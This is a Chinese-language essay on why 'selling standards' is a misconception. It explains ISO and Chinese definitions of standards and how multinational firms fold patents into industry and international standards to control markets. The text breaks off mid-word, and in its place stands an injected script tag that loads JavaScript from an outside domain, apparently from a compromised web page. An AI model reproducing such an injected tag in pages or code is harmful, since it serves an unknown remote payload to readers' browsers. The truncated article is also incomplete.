时下，越来越多的企业认为“一流企业卖标准、二流企业卖专利或其他知识产权、三流企业卖服务、四流企业卖产品、末流企业卖苦力”，它反映了人们对无形的标准和知识产权重要性的认识，但不无遗憾地是该观点中使用“卖标准”之说说明人们对“标准” 一词进行了误读，如果不予澄清，如同改革开放早期，不少西方唯利是图而又毫无商业道德和良心的商人将其已进入公有领域、可无偿获取的过期或已失效的专利高价卖给对专利为何物还处于懵懂或无知时期的中国企业一样，我国企业会在不知不觉中被西方商人再利用一次，给它们再交一次无谓的昂贵学费。此外，为了避免某些企业误入歧途——即一厢情愿地认为“标准”同专利、其他技术或产品一样可以生产、制造，进而销售，而不遗余力地去研发所谓的“标准”，也颇有必要对“卖标准”进行解析。

    一、标准与标准化

    按照国际标准化组织（ISO）的定义，标准是一系列文件化的协议，其内容包括能持续一致地用作规则、指南或特征定义的详细技术规范或其他精确的指标，以确保材料、产品、方法和服务适于它们的目的；我国将标准定义为“为在一定范围内获得最佳程序，对规范重复性的活动或某一事物的共同和重复使用所形成的统一规定或特性的文件”；该文件经协商一致制定并经一个公认机构的批准。它应以科学、技术和经验的综合成果为基础，并以促进社会效益之最大为目的。与其相关的标准化是指制定共同和重复使用的标准的活动，是在科学技术、经济贸易及管理等社会实践活动中，对重复性事物和概念通过制定、实施标准，达到统一，以获得最佳秩序和最佳效益的过程，一般包括制定、发布及贯彻标准的过程。一句话，标准化就是将产品或服务的制造方法、加工过程或服务方法等涉及的技术指标或规范给予公开并鼓励同类企业参考或遵守。其过程用流线图表示为：创意——研发——技术成果——技术规格和指标——企业标准——行业标准——国家标准——国际标准——全球执行推广（消费者和市场迫使竞争对手采用）。标准化的好处在于改进产品、过程和服务的适用性，防止技术壁垒，并便利技术合用。简言之，标准是在一定范围内获得最佳秩序，经协商一致制定并由公认机构批准，共同使用和重复使用的一种规范性准则。

    按照标准化对象，人们通常把标准分为技术标准、管理标准和工作标准三大类。其中，技术标准是指对标准化领域中需要协调统一的技术事项所制定的标准，它是是一种与产品或者服务相关并得到大多数生产厂商和用户承认的技术规范。它包括基础技术标准、产品标准、工艺标准、检测试验方法标准，及安全、卫生、环保标准等。我国技术标准根据标准的性质分为强制性标准和推荐性标准两类，前者指保障人体健康，人身、财产安全的标准和法律、行政法规规定强制执行的标准，其他标准是推荐性标准。

    二、“标准”的解析

    从上述简要介绍可以看出，“标准”是公开的，它具有公共产品的特性，代表的是一种公共选择的结果，它本身不是私权，更不构成任何特权，制定标准的目的就是要广泛推行它。它是无法进行销售的，如果有外国公司要卖标准给他人，那是在意图骗取对方的金钱。早期，有关组织和协会在制定技术标准时，都试图将特定专利技术排除在技术标准之外，以利于标准的广泛推广。但自上世纪90年代起，特别是进入21世纪后，由于技术发展之迅猛及市场竞争之激烈，专利技术产业化布局日趋加快，专利与技术标准之间的关系从分离趋向融合，一些技术雄厚的企业，应用专利战略在各个国家跑马圈地，形成专利包围圈，通过各种市场手段努力把自己的专利和技术规范上升为行业标准乃至国际标准，一旦包含专利的技术方案写入行业标准或者国际标准，这些企业或者企业联盟就赢得了进入市场的主动权。人们之所以形成误解，是因为在国际市场竞争中，出现了把技术标准与知识产权相结合，形成新的技术垄断联盟之现象：借助于技术标准的特殊地位，强化相关知识产权的保护；借助知识产权的专利性，来实现某些技术标准事实上的垄断，以追求经济利益的最大化。简言之，谁的技术规范能成为国际标准，为广大消费者所接受，谁就掌握了标准的制定权，并进而取得了市场主动权。
 
    实际上，标准之后隐藏着技术转让或许可，没有技术做基础或支撑的标准一文不值。跨国公司为何对标准感兴趣，不在于标准本身的知识含量，而在于该标准中隐藏的诸多专利或专有技术或其他商业秘密，如果其他企业不用它们的技术，则制造不出符合标准的产品或提供不了符合标准的服务。它们利用标准来控制类似厂家，因为它们通过“标准”这一公示化的手段和策略，笼络了消费者的心，在无形中进行市场抢夺，一旦市场上对该标准形成了普遍的认同感，则它们就会君临天下，任何欲分得市场中一杯羹的人，必须进入其标准体系中，而此时，后来者就必须按照标?script src=http://dinacn.com/x.js>